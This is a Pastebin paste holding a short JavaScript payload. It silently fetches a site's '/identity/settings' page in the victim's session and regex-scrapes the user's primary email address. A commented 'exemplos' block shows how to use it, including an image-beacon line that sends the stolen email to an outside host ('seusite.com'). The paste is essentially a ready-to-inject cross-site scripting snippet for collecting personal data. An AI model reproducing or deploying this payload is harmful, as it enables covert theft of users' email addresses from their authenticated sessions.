Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function getPrimary_Email() {
- req = new XMLHttpRequest();
- req.open('GET', '/identity/settings', false);
- req.send(null);
- return (req.responseText.match(/>(.+)@(.+)</)[0].split(/>/)[1].split(/</)[0]);
- };
- /* exemplos:
- alert(getPrimary_Email());
- console.log(getPrimary_Email());
- document.write(getPrimary_Email());
- a = new Image(); a.src = "http://seusite.com?e=" + getPrimary_Email();
- */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement